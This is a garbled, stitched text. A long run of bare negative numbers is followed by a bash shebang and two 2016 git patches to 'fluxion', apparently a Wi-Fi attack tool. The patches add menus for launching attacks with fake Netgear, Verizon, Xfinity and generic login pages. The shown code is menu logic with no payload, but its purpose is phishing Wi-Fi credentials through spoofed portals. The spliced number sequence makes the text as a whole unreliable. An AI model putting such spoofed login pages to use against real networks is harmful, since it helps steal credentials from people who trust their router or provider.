-2817 -2818 -2819 -2820 -2821 -2822 -2823 -2824 -2825 -2826 -2827 -2828 -2829 -2830 -2831 -2832 -2833 -2834 -2835 -2836 -2837 -2838 -2839 -2840 -2841 -2842 -2843 -2844 -2845 -2846 -2847 -2848 -2849 -2850 -2851 -2852 -2853 -2854 -2855 -2856 -2857 -2858 -2859 -2860 -2861 -2862 -2863 -2864 -2865 -2866 -2867 -2868 -2869 -2870 -2871 -2872 -2873 -2874 -2875 -2876 -2877 -2878 -2879 -2880 -2881 -2882 -2883 -2884 -2885 -2886 -2887 -2888 -2889 -2890 -2891 -2892 -2893 -2894 -2895 -2896 -2897 -2898 -2899 -2900 -2901 -2902 -2903 -2904 -2905 -2906 -2907 -2908 -2909 -2910 -2911 -2912 -2913 -2914 -2915 -2916 -2917 -2918 -2919 -2920 -2921 -2922 -2923 -2924 -2925 -2926 -2927 -2928 -2929 -2930 -2931 -2932 -2933 -2934 -2935 -2936 -2937 -2938 -2939 -2940 -2941 -2942 -2943 -2944 -2945 -2946 -2947 -2948 -2949 -2950 -2951 -2952 -2953 -2954 -2955 -2956 -2957 -2958 -2959 -2960 -2961 -2962 -2963 -2964 -2965 -2966 -2967 -2968 -2969 -2970 -2971 -2972 -2973 -2974 -2975 -2976 -2977 -2978 -2979 -2980 -2981 -2982 -2983 -2984 -2985 -2986 -2987 -2988 -2989 -2990 -2991 -2992 -2993 -2994 -2995 -2996 -2997 -2998 -2999 -3000 -3001 -3002 -3003 -3004 -3005 -3006 -3007 -3008 -3009 -3010 -3011 -3012 -3013 -3014 -3015 -3016 -3017 -3018 -3019 -3020 -3021 -3022 -3023 -3024 -3025 -3026 -3027 -3028 -3029 -3030 -3031 -3032 -3033 -3034 -3035 -3036 -3037 -3038 -3039 -3040 -3041 -3042 -3043 -3044 -3045 -3046 -3047 -3048 -3049 -3050 -3051 -3052 -3053 -3054 -3055 -3056 -3057 -3058 -3059 -3060 -3061 -3062 -3063 -3064 -3065 -3066 -3067 -3068 -3069 -3070 -3071 -3072 -3073 -3074 -3075 -3076 -3077 -3078 -3079 -3080 -3081 -3082 -3083 -3084 -3085 -3086 -3087 -3088 -3089 -3090 -3091 -3092 -3093 -3094 -3095 -3096 -3097 -3098 -3099 -3100 -3101 -3102 -3103 -3104 -3105 -3106 -3107 -3108 -3109 -3110 -3111 -3112 -3113 -3114 -3115 -3116 -3117 -3118 -3119 -3120 -3121 -3122 -3123 -3124 -3125 -3126 -3127 -3128 -3129 -3130 -3131 -3132 -3133 -3134 -3135 -3136 -3137 -3138 -3139 -3140 -3141 -3142 -3143 -3144 -3145 -3146 -3147 -3148 -3149 -3150 -3151 -3152 -3153 -3154 -3155 -3156 -3157 -3158 -3159 -3160 -3161 -3162 -3163 -3164 -3165 -3166 -3167 -3168 -3169 -3170 -3171 -3172 -3173 -3174 -3175 -3176 -3177 -3178 -3179 -3180 -3181 -3182 -3183 -3184 -3185 -3186 -3187 -3188 -3189 -3190 -3191 -3192 -3193 -3194 -3195 -3196 -3197 -3198 -3199 -3200 -3201 -3202 -3203 -3204 -3205 -3206 -3207 -3208 -3209 -3210 -3211 -3212 -3213 -3214 -3215 -3216 -3217 -3218 -3219 -3220 -3221 -3222 -3223 -3224 -3225 -3226 -3227 -3228 -3229 -3230 -3231 -3232 -3233 -3234 -3235 -3236 -3237 -3238 -3239 -3240 -3241 -3242 -3243 -3244 -3245 -3246 -3247 -3248 -3249 -3250 -3251 -3252 -3253 -3254 -3255 -3256 -3257 -3258 -3259 -3260 -3261 -3262 -3263 -3264 -3265 -3266 -3267 -3268 -3269 -3270 -3271 -3272 -3273 -3274 -3275 -3276 -3277 -3278 -3279 -3280 -3281 -3282 -3283 -3284 -3285 -3286 -3287 -3288 -3289 -3290 -3291 -3292 -3293 -3294 -3295 -3296 -3297 -3298 -3299 -3300 -3301 -3302 -3303 -3304 -3305 -3306 -3307 -3308 -3309 -3310 -3311 -3312 -3313 -3314 -3315 -3316 -3317 -3318 -3319 -3320 -3321 -3322 -3323 -3324 -3325 -3326 -3327 -3328 -3329 -3330 -3331 -3332 -3333 -3334 -3335 -3336 -3337 -3338 -3339 -3340 -3341 -3342 -3343 -3344 -3345 -3346 -3347 -3348 -3349 -3350 -3351 -3352 -3353 -3354 -3355 -3356 -3357 -3358 -3359 -3360 -3361 -3362 -3363 -3364 -3365 -3366 -3367 -3368 -3369 -3370 -3371 -3372 -3373 -3374 -3375 -3376 -3377 -3378 -3379 -3380 -3381 -3382 -3383 -3384 -3385 -3386 -3387 -3388 -3389 -3390 -3391 -3392 -3393 -3394 -3395 -3396 -3397 -3398 -3399 -3400 -3401 -3402 -3403 -3404 -3405 -3406 -3407 -3408 -3409 -3410 -3411 -3412 -3413 -3414 -3415 -3416 -3417 -3418 -3419 -3420 -3421 -3422 -3423 -3424 -3425 -3426 -3427 -3428 -3429 -3430 -3431 -3432 -3433 -3434 -3435 -3436 -3437 -3438 -3439 -3440 -3441 -3442 -3443 -3444 -3445 -3446 -3447 -3448 -3449 -3450 -3451 -3452 -3453 -3454 -3455 -3456 -3457 -3458 -3459 -3460 -3461 -3462 -3463 -3464 -3465 -3466 -3467 -3468 -3469 -3470 -3471 -3472 -3473 -3474 -3475 -3476 -3477 -3478 -3479 -3480 -3481 -3482 -3483 -3484 -3485 -3486 -3487 -3488 -3489 -3490 -3491 -3492 -3493 -3494 -3495 -3496 -3497 -3498 -3499 -3500 -3501 -3502 -3503 -3504 -3505 -3506 -3507 -3508 -3509 -3510 -3511 -3512 -3513 -3514 -3515 -3516 -3517 -3518 -3519 -3520 -3521 -3522 -3523 -3524 -3525 -3526 -3527 -3528 -3529 -3530 -3531 -3532 -3533 -3534 -3535 -3536 -3537 -3538 -3539 -3540 -3541 -3542 -3543 -3544 -3545 -3546 -3547 -3548 -3549 -3550 -3551 -3552 -3553 -3554 -3555 -3556 -3557 -3558 -3559 -3560 -3561 -3562 -3563 -3564 -3565 -3566 -3567 -3568 -3569 -3570 -3571 -3572 -3573 -3574 -3575 -3576 -3577 -3578 -3579 -3580 -3581 -3582 -3583 -3584 -3585 -3586 -3587 -3588 -3589 -3590 -3591 -3592 -3593 -3594 -3595 -3596 -3597 -3598 -3599 -3600 -3601 -3602 -3603 -3604 -3605 -3606 -3607 -3608 -3609 -3610 -3611 -3612 -3613 -3614 -3615 -3616 -3617 -3618 -3619 -3620 -3621 -3622 -3623 -3624 -3625 -3626 -3627 -3628 -3629 -3630 -3631 -3632 -3633 -3634 -3635 -3636 -3637 -3638 -3639 -3640 -3641 -3642 -3643 -3644 -3645 -3646 -3647 -3648 -3649 -3650 -3651 -3652 -3653 -3654 -3655 -3656 -3657 -3658 -3659 -3660 -3661 -3662 -3663 -3664 -3665 -3666 -3667 -3668 -3669 -3670 -3671 -3672 -3673 -3674 -3675 -3676 -3677 -3678 -3679 -3680 -3681 -3682 -3683 -3684 -3685 -3686 -3687 -3688 -3689 -3690 -3691 -3692 -3693 -3694 -3695 -3696 -3697 -3698 -3699 -3700 -3701 -3702 -3703 -3704 -3705 -3706 -3707 -3708 -3709 -3710 -3711 -3712 -3713 -3714 -3715 -3716 -3717 -3718 -3719 -3720 -3721 -3722 -3723 -3724 -3725 -3726 -3727 -3728 -3729 -3730 -3731 -3732 -3733 -3734 -3735 -3736 -3737 -3738 -3739 -3740 -3741 -3742 -3743 -3744 -3745 -3746 -3747 -3748 -3749 -3750 -3751 -3752 -3753 -3754 -3755 -3756 -3757 -3758 -3759 -3760 -3761 -3762 -3763 -3764 -3765 -3766 -3767 -3768 -3769 -3770 -3771 -3772 -3773 -3774 -3775 -3776 -3777 -3778 -3779 -3780 -3781 -3782 -3783 -3784 -3785 -3786 -3787 -3788 -3789 -3790 -3791 -3792 -3793 -3794 -3795 -3796 -3797 -3798 -3799 -3800 -3801 -3802 -3803 -3804 -3805 -3806 -3807 -3808 -3809 -3810 -3811 -3812 -3813 -3814 -3815 -3816 -3817 -3818 -3819 -3820 -3821 -3822 -3823 -3824 -3825 -3826 -3827 -3828 -3829 -3830 -3831 -3832 -3833 -3834 -3835 -3836 -3837 -3838 -3839 -3840 -3841 -3842 -3843 -3844 -3845 -3846 -3847 -3848 -3849 -3850 -3851 -3852 -3853 -3854 -3855 -3856 -3857 -3858 -3859 -3860 -3861 -3862 -3863 -3864 -3865 -3866 -3867 -3868 -3869 -3870 -3871 -3872 -3873 -3874 -3875 -3876 -3877 -3878 -3879 -3880 -3881 -3882 -3883 -3884 -3885 -3886 -3887 -3888 -3889 -3890 -3891 -3892 -3893 -3894 -3895 -3896 -3897 -3898 -3899 -3900 -3901 -3902 -3903 -3904 -3905 -3906 -3907 -3908 -3909 -3910 -3911 -3912 -3913 -3914 -3915 -3916 -3917 -3918 -3919 -3920 -3921 -3922 -3923 -3924 -3925 -3926 -3927 -3928 -3929 -3930 -3931 -3932 -3933 -3934 -3935 -3936 -3937 -3938 -3939 -3940 -3941 -3942 -3943 -3944 -3945 -3946 -3947 -3948 -3949 -3950 -3951 -3952 -3953 -3954 -3955 -3956 -3957 -3958 -3959 -3960 -3961 -3962 -3963 -3964 -3965 -3966 -3967 -3968 -3969 -3970 -3971 -3972 -3973 -3974 -3975 -3976 -3977 -3978 -3979 -3980 -3981 -3982 -3983 -3984 -3985 -3986 -3987 -3988 -3989 -3990 -3991 -3992 -3993 -3994 -3995 -3996 -3997 -3998 -3999 -4000 -4001 -4002 -4003 -4004 -4005 -4006 -4007 -4008 -4009 -4010 -4011 -4012 -4013 -4014 -4015 -4016 -4017 -4018 -4019 -4020 -4021 -4022 -4023 -4024 -4025 -4026 -4027 -4028 -4029 -4030 -4031 -4032 -4033 -4034 -4035 -4036 -4037 -4038 -4039 -4040 -4041 -4042 -4043 -4044 -4045 -4046 -4047 -4048 -4049 -4050 -4051 -4052 -4053 -4054 -4055 -4056 -4057 -4058 -4059 -4060 -4061 -4062 -4063 -4064 -4065 -4066 -4067 -4068 -4069 -4070 -4071 -4072 -4073 -4074 -4075 -4076 -4077 -4078 -4079 -4080 -4081 -4082 -4083 -4084 -4085 -4086 -4087 -4088 -4089 -4090 -4091 -4092 -4093 -4094 -4095 -4096 -4097 -4098 -4099 -4100 -4101 -4102 -4103 -4104 -4105 -4106 -4107 -4108 -4109 -4110 -4111 -4112 -4113 -4114 -4115 -4116 -4117 -4118 -4119 -4120 -4121 -4122 -4123 -4124 -4125 -4126 -4127 -4128 -4129 -4130 -4131 -4132 -4133 -4134 -4135 -4136 -4137 -4138 -4139 -4140 -4141 -4142 -4143 -4144 -4145 -4146 -4147 -4148 -4149 -4150 -4151 -4152 -4153 -4154 -4155 -4156 -4157 -4158 -4159 -4160 -4161 -4162 -4163 -4164 -4165 -4166 -4167 -4168 -4169 -4170 -4171 -4172 -4173 -4174 -4175 -4176 -4177 -4178 -4179 -4180 -4181 -4182 -4183 -4184 -4185 -4186 -4187 -4188 -4189 -4190 -4191 -4192 -4193 -4194 -4195 -4196 -4197 -4198 -4199 -4200 -4201 -4202 -4203 -4204 -4205 -4206 -4207 -4208 -4209 -4210 -4211 -4212 -4213 -4214 -4215 -4216 -4217 -4218 -4219 -4220 -4221 -4222 -4223 -4224 -4225 -4226 -4227 -4228 -4229 -4230 -4231 -4232 -4233 -4234 -4235 -4236 -4237 -4238 -4239 -4240 -4241 -4242 -4243 -4244 -4245 -4246 -4247 -4248 -4249 -4250 -4251 -4252 -4253 -4254 -4255 -4256 -4257 -4258 -4259 -4260 -4261 -4262 -4263 -4264 -4265 -4266 -4267 -4268 -4269 -4270 -4271 -4272 -4273 -4274 -4275 -4276 -4277 -4278 -4279 -4280 -4281 -4282 -4283 -4284 -4285 -4286 -4287 -4288 -4289 -4290 -4291 -4292 -4293 -4294 -4295 -4296 -4297 -4298 -4299 -4300 -4301 -4302 -4303 -4304 -4305 -4306 -4307 -4308 -4309 -4310 -4311 -4312 -4313 -4314 -4315 -4316 -4317 -4318 -4319 -4320 -4321 -4322 -4323 -4324 -4325 -4326 -4327 -4328 -4329 -4330 -4331 -4332 -4333 -4334 -4335 -4336 -4337 -4338 -4339 -4340 -4341 -4342 -4343 -4344 -4345 -4346 -4347 -4348 -4349 -4350 -4351 -4352 -4353 -4354 -4355 -4356 -4357 -4358 -4359 -4360 -4361 -4362 -4363 -4364 -4365 -4366 -4367 -4368 -4369 -4370 -4371 -4372 -4373 -4374 -4375 -4376 -4377 -4378 -4379 -4380 -4381 -4382 -4383 -4384 -4385 -4386 -4387 -4388 -4389 -4390 -4391 -4392 -4393 -4394 -4395 -4396 -4397 -4398 -4399 -4400 -4401 -4402 -4403 -4404 -4405 -4406 -4407 -4408 -4409 -4410 -4411 -4412 -4413 -4414 -4415 -4416 -4417 -4418 -4419 -4420 -4421 -4422 -4423 -4424 -4425 -4426 -4427 -4428 -4429 -4430 -4431 -4432 -4433 -4434 -4435 -4436 -4437 -4438 -4439 -4440 -4441 -4442 -4443 -4444 -4445 -4446 -4447 -4448 -4449 -4450 -4451 -4452 -4453 -4454 -4455 -4456 -4457 -4458 -4459 -4460 -4461 -4462 -4463 -4464 -4465 -4466 -4467 -4468 -4469 -4470 -4471 -4472 -4473 -4474 -4475 -4476 -4477 -4478 -4479 -4480 -4481 -4482 -4483 -4484 -4485 -4486 -4487 -4488 -4489 -4490 -4491 -4492 -4493 -4494 -4495 -4496 -4497 -4498 -4499 -4500 -4501 -4502 -4503 -4504 -4505 -4506 -4507 -4508 -4509 -4510 -4511 -4512 -4513 -4514 -4515 -4516 -4517 -4518 -4519 -4520 -4521 -4522 -4523 -4524 -4525 -4526 -4527 -4528 -4529 -4530 -4531 -4532 -4533 -4534 -4535 -4536 -4537 -4538 -4539 -4540 -4541 -4542 -4543 -4544 -4545 -4546 -4547 -4548 -4549 -4550 -4551 -4552 -4553 -4554 -4555 -4556 -4557 -4558 -4559 -4560 -4561 -4562 -4563 -4564 -4565 -4566 -4567 -4568 -4569 -4570 -4571 -4572 -4573 -4574 -4575 -4576 -4577 -4578 -4579 -4580 -4581 -4582 -4583 -4584 -4585 -4586 -4587 -4588 -4589 -4590 -4591 -4592 -4593 -4594 -4595 -4596 -4597 -4598 -4599 -4600 -4601 -4602 -4603 -4604 -4605 -4606 -4607 -4608 -4609 -4610 -4611 -4612 -4613 -4614 -4615 -4616 -4617 -4618 -4619 -4620 -4621 -4622 -4623 -4624 -4625 -4626 -4627 -4628 -4629 -4630 -4631 -4632 -4633 -4634 -4635 -4636 -4637 -4638 -4639 -4640 -4641 -4642 -4643 -4644 -4645 -4646 -4647 -4648 -4649 -4650 -4651 -4652 -4653 -4654 -4655 -4656 -4657 -4658 -4659 -4660 -4661 -4662 -4663 -4664 -4665 -4666 -4667 -4668 -4669 -4670 -4671 -4672 -4673 -4674 -4675 -4676 -4677 -4678 -4679 -4680 -4681 -4682 -4683 -4684 -4685 -4686 -4687 -4688 -4689 -4690 -4691 -4692 -4693 -4694 -4695 -4696 -4697 -4698 -4699 -4700 -4701 -4702 -4703 -4704 -4705 -4706 -4707 -4708 -4709 -4710 -4711 -4712 -4713 -4714 -4715 -4716 -4717 -4718 -4719 -4720 -4721 -4722 -4723 -4724 -4725 -4726 -4727 -4728 -4729 -4730 -4731 -4732 -4733 -4734 -4735 -4736 -4737 -4738 -4739 -4740 -4741 -4742 -4743 -4744 -4745 -4746 -4747 -4748 -4749 -4750 -4751 -4752 -4753 -4754 -4755 -4756 -4757 -4758 -4759 -4760 -4761 -4762 -4763 -4764 -4765 -4766 -4767 -4768 -4769 -4770 -4771 -4772 -4773 -4774 -4775 -4776 -4777 -4778 -4779 -4780 -4781 -4782 -4783 -4784 -4785 -4786 -4787 -4788 -4789 -4790 -4791 -4792 -4793 -4794 -4795 -4796 -4797 -4798 -4799 -4800 -4801 -4802 -4803 -4804 -4805 -4806 -4807 -4808 -4809 -4810 -4811 -4812 -4813 -4814 -4815 -4816 -4817 -4818 -4819 -4820 -4821 -4822 -4823 -4824 -4825 -4826 -4827 -4828 -4829 -4830 -4831 -4832 -4833 -4834 -4835 -4836 -4837 -4838 -4839 -4840 -4841 -4842 -4843 -4844 -4845 -4846 -4847 -4848 -4849 -4850 -4851 -4852 -4853 -4854 -4855 -4856 -4857 -4858 -4859 -4860 -4861 -4862 -4863 -4864 -4865 -4866 -4867 -4868 -4869 -4870 -4871 -4872 -4873 -4874 -4875 -4876 -4877 -4878 -4879 -4880 -4881 -4882 -4883 -4884 -4885 -4886 -4887 -4888 -4889 -4890 -4891 -4892 -4893 -4894 -4895 -4896 -4897 -4898 -4899 -4900 -4901 -4902 -4903 -4904 -4905 -4906 -4907 -4908 -4909 -4910 -4911 -4912 -4913 -4914 -4915 -4916 -4917 -4918 -4919 -4920 -4921 -4922 -4923 -4924 -4925 -4926 -4927 -4928 -4929 -4930 -4931 -4932 -4933 -4934 -4935 -4936 -4937 -4938 -4939 -4940 -4941 -4942 -4943 -4944 -4945 -4946 -4947 -4948 -4949 -4950 -4951 -4952 -4953 -4954 -4955 -4956 -4957 -4958 -4959 -4960 -4961 -4962 -4963 -4964 -4965 -4966 -4967 -4968 -4969 -4970 -4971 -4972 -4973 -4974 -4975 -4976 -4977 -4978 -4979 -4980 -4981 -4982 -4983 -4984 -4985 -4986 -4987 -4988 -4989 -4990 -4991 -4992 -4993 -4994 -4995 -4996 -4997 -4998 -4999 -5000 -5001 -5002 -5003 -5004 -5005 -5006 -5007 -5008 -5009 -5010 -5011 -5012 -5013 -5014 -5015 -5016 -5017 -5018 -5019 -5020 -5021 -5022 -5023 -5024 -5025 -5026 -5027 -5028 -5029 -5030 -5031 -5032 -5033 -5034 -5035 -5036 -5037 -5038 -5039 -5040 -5041 -5042 -5043 -5044 -5045 -5046 -5047 -5048 -5049 -5050 -5051 -5052 -5053 -5054 -5055 -5056 -5057 -5058 -5059 -5060 -5061 -5062 -5063 -5064 -5065 -5066 -5067 -5068 -5069 -5070 -5071 -5072 -5073 -5074 -5075 -5076 -5077 -5078 -5079 -5080 -5081 -5082 -5083 -5084 -5085 -5086 -5087 -5088 -5089 -5090 -5091 -5092 -5093 -5094 -5095 -5096 -5097 -5098 -5099 -5100 -5101 -5102 -5103 -5104 -5105 -5106 -5107 -5108 -5109 -5110 -5111 -5112 -5113 -5114 -5115 -5116 -5117 -5118 -5119 -5120 -5121 -5122 -5123 -5124 -5125 -5126 -5127 -5128 -5129 -5130 -5131 -5132 -5133 -5134 -5135 -5136 -5137 -5138 -5139 -5140 -5141 -5142 -5143 -5144 -5145 -5146 -5147 -5148 -5149 -5150 -5151 -5152 -5153 -5154 -5155 -5156 -5157 -5158 -5159 -5160 -5161 -5162 -5163 -5164 -5165 -5166 -5167 -5168 -5169 -5170 -5171 -5172 -5173 -5174 -5175 -5176 -5177 -5178 -5179 -5180 -5181 -5182 -5183 -5184 -5185 -5186 -5187 -5188 -5189 -5190 -5191 -5192 -5193 -5194 -5195 -5196 -5197 -5198 -5199 -5200 -5201 -5202 -5203 -5204 -5205 -5206 -5207 -5208 -5209 -5210 -5211 -5212 -5213 -5214 -5215 -5216 -5217 -5218 -5219 -5220 -5221 -5222 -5223 -5224 -5225 -5226 -5227 -5228 -5229 -5230 -5231 -5232 -5233 -5234 -5235 -5236 -5237 -5238 -5239 -5240 -5241 -5242 -5243 -5244 -5245 -5246 -5247 -5248 -5249 -5250 -5251 -5252 -5253 -5254 -5255 -5256 -5257 -5258 -5259 -5260 -5261 -5262 -5263 -5264 -5265 -5266 -5267 -5268 -5269 -5270 -5271 -5272 -5273 -5274 -5275 -5276 -5277 -5278 -5279 -5280 -5281 -5282 -5283 -5284 -5285 -5286 -5287 -5288 -5289 -5290 -5291 -5292 -5293 -5294 -5295 -5296 -5297 -5298 -5299 -5300 -5301 -5302 -5303 -5304 -5305 -5306 -5307 -5308 -5309 -5310 -5311 -5312 -5313 -5314 -5315 -5316 -5317 -5318 -5319 -5320 -5321 -5322 -5323 -5324 -5325 -5326 -5327 -5328 -5329 -5330 -5331 -5332 -5333 -5334 -5335 -5336 -5337 -5338 -5339 -5340 -5341 -5342 -5343 -5344 -5345 -5346 -5347 -5348 -5349 -5350 -5351 -5352 -5353 -5354 -5355 -5356 -5357 -5358 -5359 -5360 -5361 -5362 -5363 -5364 -5365 -5366 -5367 -5368 -5369 -5370 -5371 -5372 -5373 -5374 -5375 -5376 -5377 -5378 -5379 -5380 -5381 -5382 -5383 -5384 -5385 -5386 -5387 -5388 -5389 -5390 -5391 -5392 -5393 -5394 -5395 -5396 -5397 -5398 -5399 -5400 -5401 -5402 -5403 -5404 -5405 -5406 -5407 -5408 -5409 -5410 -5411 -5412 -5413 -5414 -5415 -5416 -5417 -5418 -5419 -5420 -5421 -5422 -5423 -5424 -5425 -5426 -5427 -5428 -5429 -5430 -5431 -5432 -5433 -5434 -5435 -5436 -5437 -5438 -5439 -5440 -5441 -5442 -5443 -5444 -5445 -5446 -5447 -5448 -5449 -5450 -5451 -5452 -5453 -5454 -5455 -5456 -5457 -5458 -5459 -5460 -5461 -5462 -5463 -5464 -5465 -5466 -5467 -5468 -5469 -5470 -5471 -5472 -5473 -5474 -5475 -5476 -5477 -5478 -5479 -5480 -5481 -5482 -5483 -5484 -5485 -5486 -5487 -5488 -5489 -5490 -5491 -5492 -5493 -5494 -5495 -5496 -5497 -5498 -5499 -5500 -5501 -5502 -5503 -5504 -5505 -5506 -5507 -5508 -5509 -5510 -5511 -5512 -5513 -5514 -5515 -5516 -5517 -5518 -5519 -5520 -5521 -5522 -5523 -5524 -5525 -5526 -5527 -5528 -5529 -5530 -5531 -5532 -5533 -5534 -5535 -5536 -5537 -5538 -5539 -5540 -5541 -5542 -5543 -5544 -5545 -5546 -5547 -5548 -5549 -5550 -5551 -5552 -5553 -5554 -5555 -5556 -5557 -5558 -5559 -5560 -5561 -5562 -5563 -5564 -5565 -5566 -5567 -5568 -5569 -5570 -5571 -5572 -5573 -5574 -5575 -5576 -5577 -5578 -5579 -5580 -5581 -5582 -5583 -5584 -5585 -5586 -5587 -5588 -5589 -5590 -5591 -5592 -5593 -5594 -5595 -5596 -5597 -5598 -5599 -5600 -5601 -5602 -5603 -5604 -5605 -5606 -5607 -5608 -5609 -5610 -5611 -5612 -5613 -5614 -5615 -5616 -5617 -5618 -5619 -5620 -5621 -5622 -5623 -5624 -5625 -5626 -5627 -5628 -5629 -5630 -5631 -5632 -5633 -5634 -5635 -5636 -5637 -5638 -5639 -5640 -5641 -5642 -5643 -5644 -5645 -5646 -5647 -5648 -5649 -5650 -5651 -5652 -5653 -5654 -5655 -5656 -5657 -5658 -5659 -5660 -5661 -5662 -5663 -5664 -5665 -5666 -5667 -5668 -5669 -5670 -5671 -5672 -5673 -5674 -5675 -5676 -5677 -5678 -5679 -5680 -5681 -5682 -5683 -5684 -5685 -5686 -5687 -5688 -5689 -5690 -5691 -5692 -5693 -5694 -5695 -5696 -5697 -5698 -5699 -5700 -5701 -5702 -5703 -5704 -5705 -5706 -5707 -5708 -5709 -5710 -5711 -5712 -5713 -5714 -5715 -5716 -5717 -5718 -5719 -5720 -5721 -5722 -5723 -5724 -5725 -5726 -5727 -5728 -5729 -5730 -5731 -5732 -5733 -5734 -5735 -5736 -5737 -5738 -5739 -5740 -5741 -5742 -5743 -5744 -5745 -5746 -5747 -5748 -5749 -5750 -5751 -5752 -5753 -5754 -5755 -5756 -5757 -5758 -5759 -5760 -5761 -5762 -5763 -5764 -5765 -5766 -5767 -5768 -5769 -5770 -5771 -5772 -5773 -5774 -5775 -5776 -5777 -5778 -5779 -5780 -5781 -5782 -5783 -5784 -5785 -5786 -5787 -5788 -5789 -5790 -5791 -5792 -5793 -5794 -5795 -5796 -5797 -5798 -5799 -5800 -5801 -5802 -5803 -5804 -5805 -5806 -5807 -5808 -5809 -5810 -5811 -5812 -5813 -5814 -5815 -5816 -5817 -5818 -5819 -5820 -5821 -5822 -5823 -5824 -5825 -5826 -5827 -5828 -5829 -5830 -5831 -5832 -5833 -5834 -5835 -5836 -5837 -5838 -5839 -5840 -5841 -5842 -5843 -5844 -5845 -5846 -5847 -5848 -5849 -5850 -5851 -5852 -5853 -5854 -5855 -5856 -5857 -5858 -5859 -5860 -5861 -5862 -5863 -5864 -5865 -5866 -5867 -5868 -5869 -5870 -5871 -5872 -5873 -5874 -5875 -5876 -5877 -5878 -5879 -5880 -5881 -5882 -5883 -5884 -5885 -5886 -5887 -5888 -5889 -5890 -5891 -5892 -5893 -5894 -5895 -5896 -5897 -5898 -5899 -5900 -5901 -5902 -5903 -5904 -5905 -5906 -5907 -5908 -5909 -5910 -5911 -5912 -5913 -5914 -5915 -5916 -5917 -5918 -5919 -5920 -5921 -5922 -5923 -5924 #!/bin/bash ########## DEBUG Mode ########## From f14f5fd7280c116e94c5329eea08802448c917c7 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 08:38:24 +0300 Subject: [PATCH 114/294] Fix Menu / Add Login Page Menu / Fix Stuff --- fluxion | 83 +++++++++++++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 72 insertions(+), 11 deletions(-) diff --git a/fluxion b/fluxion index 05c123a..76bf118 100755 --- a/fluxion +++ b/fluxion @@ -560,9 +560,9 @@ function infoap { Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo - echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$blue"Channel"$transparent" = $channel" - echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" + echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" + echo -e " "$blue"Channel"$transparent" = $channel" + echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" echo } @@ -2414,11 +2414,39 @@ function webinterface { echo echo -n "#? " - read line + read yn + case $yn in + 1 ) matartodo; Menu; break;; + 2 ) matartodo; exitmode; break;; + esac + done +} + + function Menu { + while true; do + + mostrarheader - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then + echo "Select Login Page" + echo " " + echo -e "$blue""1)"$transparent" Connection Reset [RECOMMENDED]" + echo -e "$blue""2)"$transparent" Login Pages" + echo -e "$blue""3)"$transparent" \e[1;31mExit"$transparent"" + echo " " + echo -n ' #> ' + read yn + case $yn in + 1 ) matartodo; ConnectionRESET; selection; break;; + 2 ) matartodo; LoginPages ;selection; break;; + 3 ) matartodo; exitmode; break;; + * ) echo "Unknown option. Choose again"; conditional_clear ;; + esac + done + } + + + function ConnectionRESET { + conditional_clear mostrarheader @@ -2434,8 +2462,7 @@ function webinterface { echo -e "$blue""5)"$transparent" Portuguese [POR]" echo -e "$blue""6)"$transparent" German [GER]" echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" - - echo + echo echo -n "#? " read fluxass language=${webinterfaceslenguage[$line]} @@ -2451,6 +2478,9 @@ function webinterface { DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG NEUTRA break + + + elif [ "$fluxass" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP @@ -2510,13 +2540,44 @@ function webinterface { elif [ "$fluxass" = "7" ]; then continue fi - fi + - done + preattack attack } + +function LoginPages { + + while true; do + + mostrarheader + + echo "Select Login Page" + echo " " + echo -e "$blue""1)"$transparent" Login Page Netgear" + echo -e "$blue""2)"$transparent" Login Page Verizon" + echo -e "$blue""3)"$transparent" Login Page Xfinity" + echo -e "$blue""4)"$transparent" General Login Page" + echo -e "$blue""5)"$transparent" \e[1;31mExit"$transparent"" + echo " " + echo -n ' #> ' + read yn + case $yn in + 1 ) matartodo; LoginNetgear; selection; break;; + 2 ) matartodo; LoginVerizon ;selection; break;; + 3 ) matartodo; LoginXfinity; selection; break;; + 4 ) matartodo; LoginGeneral; selection; break;; + 5 ) matartodo; exitmode; break;; + * ) echo "Unknown option. Choose again"; conditional_clear ;; + esac + done + + + +} + # Create different settings required for the script function preattack { From 480c324e4e445ea342c62b1ea6e40d5d41a0f7cb Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 09:08:01 +0300 Subject: [PATCH 115/294] Fix Menu --- fluxion | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/fluxion b/fluxion index 76bf118..1ecb955 100755 --- a/fluxion +++ b/fluxion @@ -686,7 +686,7 @@ function setinterface { wirelessifaces[$i]=$line echo -e "$blue ""$i)"$transparent" $line" done - + echo echo -n "#? " read line PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') @@ -2409,8 +2409,8 @@ function webinterface { echo "Select Web Interface" echo - echo -e "$blue""1)"$transparent" Web Interface" - echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" + echo -e "$blue"" 1)"$transparent" Web Interface" + echo -e "$blue"" 2)"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " @@ -2429,9 +2429,9 @@ function webinterface { echo "Select Login Page" echo " " - echo -e "$blue""1)"$transparent" Connection Reset [RECOMMENDED]" - echo -e "$blue""2)"$transparent" Login Pages" - echo -e "$blue""3)"$transparent" \e[1;31mExit"$transparent"" + echo -e "$blue"" 1)"$transparent" Connection Reset [RECOMMENDED]" + echo -e "$blue"" 2)"$transparent" Login Pages" + echo -e "$blue"" 3)"$transparent" \e[1;31mExit"$transparent"" echo " " echo -n ' #> ' read yn @@ -2447,9 +2447,11 @@ function webinterface { function ConnectionRESET { + while true; do conditional_clear mostrarheader + infoap echo echo "SELECT LANGUAGE" @@ -2541,8 +2543,7 @@ function webinterface { continue fi - - + done preattack attack } @@ 